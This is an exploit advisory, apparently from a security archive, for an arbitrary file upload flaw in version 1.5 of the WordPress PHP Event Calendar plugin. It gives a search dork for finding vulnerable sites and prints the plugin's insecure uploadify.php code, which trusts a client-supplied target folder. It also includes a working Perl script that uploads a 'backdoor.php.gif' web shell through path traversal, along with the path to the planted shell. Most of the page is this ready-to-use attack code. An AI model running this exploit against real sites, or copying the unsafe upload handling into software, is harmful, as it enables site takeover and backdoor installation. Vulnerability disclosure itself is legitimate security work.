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WordPress PHP Event Calendar 1.5 Arbitrary File Upload

WordPress PHP Event Calendar 1.5 Arbitrary File Upload
Posted Apr 3, 2015
Authored by CrashBandicot

WordPress PHP Event Calendar plugin version 1.5 suffers from an arbitrary file upload vulnerability.

tags | exploit, arbitrary, php, file upload
SHA-256 | 0c0e6821c9f39d195b058b4a300a86fb947a58cbad45c92060bdd27bb6a0511d

WordPress PHP Event Calendar 1.5 Arbitrary File Upload

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######################################################################
# Exploit Title: Wordpress PHP Event Calendar Plugin - Arbitrary File Upload
# Google Dork: inurl:/plugins/php-event-calendar/
# Date: 02.04.2015
# Exploit Author: CrashBandicot (@DosPerl)
# Source Plugin: https://wordpress.org/plugins/php-event-calendar/
# Vendor HomePage: http://phpeventcalendar.com/
# Version: 1.5
# Tested on: MSwin
######################################################################

# Path of File : /wp-content/plugins/php-event-calendar/server/classes/uploadify.php
# Vulnerable File : uploadify.php

<?php
/*
Uploadify
Copyright (c) 2012 Reactive Apps, Ronnie Garcia
Released under the MIT License <http://www.opensource.org/licenses/mit-license.php>
*/

// Define a destination
//$targetFolder = '/uploads'; // Relative to the root
$targetFolder = $_POST['targetFolder']; // wp upload directory
$dir = str_replace('\\','/',dirname(__FILE__));

//$verifyToken = md5('unique_salt' . $_POST['timestamp']);

if (!empty($_FILES)) {
$tempFile = $_FILES['Filedata']['tmp_name'];
//$targetPath = $dir.$targetFolder;
$targetPath = $targetFolder;
$fileName = $_POST['user_id'].'_'.$_FILES['Filedata']['name'];
$targetFile = rtrim($targetPath,'/') . '/' . $fileName;

// Validate the file type
$fileTypes = array('jpg','jpeg','gif','png'); // File extensions
$fileParts = pathinfo($_FILES['Filedata']['name']);

if (in_array($fileParts['extension'],$fileTypes)) {
move_uploaded_file($tempFile,$targetFile);
echo '1';
} else {
echo 'Invalid file type.';
}
}
?>


# Exploit

#!/usr/bin/perl

use LWP::UserAgent;

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

print "\t +===================================================\n";
print "\t | PHP event Calendar Plugin - Arbitrary File Upload \n";
print "\t | Author: CrashBandicot\n";
print "\t +===================================================\n\n";

die "usage : perl $0 backdoor.php.gif" unless $ARGV[0];

$file = $ARGV[0];

my $ua = LWP::UserAgent->new( agent => q{Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36},);
my $ch = $ua->post("http://127.0.0.1/wp-content/plugins/php-event-calendar/server/classes/uploadify.php", Content_Type => 'form-data', Content => [ 'Filedata' => [$file] , targetFolder => '../../../../../' , user_id => '0day' ])->content;
if($ch = ~/1/) {
print "\n [+] File Uploaded !";
} else { print "\n [-] Target not Vuln"; }

__END__


# Path Shell : http://localhost/0day_backdoor.php.gif
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